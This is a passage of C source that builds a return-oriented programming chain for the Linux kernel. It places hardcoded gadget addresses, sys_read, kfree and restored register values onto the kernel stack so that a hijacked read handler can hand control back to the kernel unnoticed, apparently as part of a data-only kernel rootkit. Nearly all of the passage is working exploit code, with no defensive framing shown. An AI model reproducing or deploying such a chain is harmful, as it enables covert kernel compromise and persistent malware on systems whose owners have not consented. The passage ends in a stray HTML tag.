add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // TMP,
// must be overwritten by init
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// We now move the current kernel stack into RSI. The gadget contains
// a call, so we must setup RBX first. Simply pop the return address that
// is pushed by the call
add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size); // POP RBX; RET;
add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size); // Address of POP RBX;
// RET;
// Now move the kernel stack pointer (RAX) to RSI
add_to_fake_stack(0xffffffff8103b7b9, &payload_stack, &payload_stack_size); // MOV RSI,RAX;
// CALL RBX;
// We first move the address of 'sys_read' onto the kernel stack
// This will execute the read system call when we return to the kernel
// stack
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff81194370, &payload_stack, &payload_stack_size); // Address of 'sys_read'
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// 'sys_read' now on the kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Now we have to restore all arguments of sys_read
// We start with RDI.
// Load the original value of RDI on the stack.
generate_get_state_value(&payload_stack, &payload_stack_size,
RDI, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Value of RDI on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load Address of 'POP RDI; RET' into RDI such that the first argument
// of sys_read ends up in RDI.
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
generate_pop(&payload_stack, &payload_stack_size, REG_RDI);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RDI; RET on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Next RSI.
// Load the original value of RSI on the stack.
generate_get_state_value(&payload_stack, &payload_stack_size,
RSI, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Value of RSI on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load Address of 'POP RSI; RET' into RSI such that the second argument
// of sys_read ends up in RSI.
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
generate_pop(&payload_stack, &payload_stack_size, REG_RSI);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RSI; RET on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Finally RDX
// Load the original value of RDX on the stack.
generate_get_state_value(&payload_stack, &payload_stack_size,
RDX, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Value of RDX on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load Address of 'POP RDX; RET' into RDX such that the third argument
// of sys_read ends up in RDX.
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
generate_pop(&payload_stack, &payload_stack_size, REG_RDX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RDX; RET on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Move our interrupt enabling gadget to the kernel stack.
// This will enable interrupts on the kernel stack
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size); // Address of STI; RET;
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// STI; RET; now on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// We move the address of 'kfree' onto the kernel stack
// This will free the memory of the payload area before we return to
// userland.
// The payload pointer will be in RSI.
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff8117c7b0, &payload_stack, &payload_stack_size); // Address of 'kfree'
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// 'kfree' now on the kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load the original RBP value into RAX
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, RBP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // RBP,
// must be overwritten by init
// We want the VALUE within the state field of RBP
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET;
// Move the original RBP to the kernel stack
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Orginal RBP now on kernel stack.
// Save new value of kernel stack pointer
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP, REG_RSI);
// ----------------------------------------------------------------
// 3. Restore/Prepare Registers
// ----------------------------------------------------------------
// Restore the Original value of RBX as it is callee saved
generate_get_state_value(&payload_stack, &payload_stack_size,
RBX, REG_RBX);
// Set RDI to the payload pointer for the call to 'kfree'
generate_get_state_value(&payload_stack, &payload_stack_size,
PAYLOAD, REG_RDI);
// ----------------------------------------------------------------
// 4. Transfer control back to the kernel.
// ----------------------------------------------------------------
// IMPORTANT: Do NOT override RDI, RSI, or RDX!
// For this we first get the kernel stack value from the state
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // TMP,
// must be overwritten by init
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// MOVE RAX to RBP for the LEAVE; RET;
// Move new SP to RBP
add_to_fake_stack(0xffffffff8116747c, &payload_stack, &payload_stack_size); // PUSH RAX; POP RBP; RET
// Ramrod, activate the kernel.
add_to_fake_stack(LEAVE_RET, &payload_stack, &payload_stack_size); // LEAVE; RET;
// ----------------------------------------------------------------
// 5. Patch the conditional jump
// ----------------------------------------------------------------
generate_conditional_jump_equal(&jmp_to_read_handler,
&jmp_to_read_handler_size,
payload_stack_size-jmp_to_read_handler_size);
// ----------------------------------------------------------------
// << CHECK FOR STDIN
// ================================================================
<p>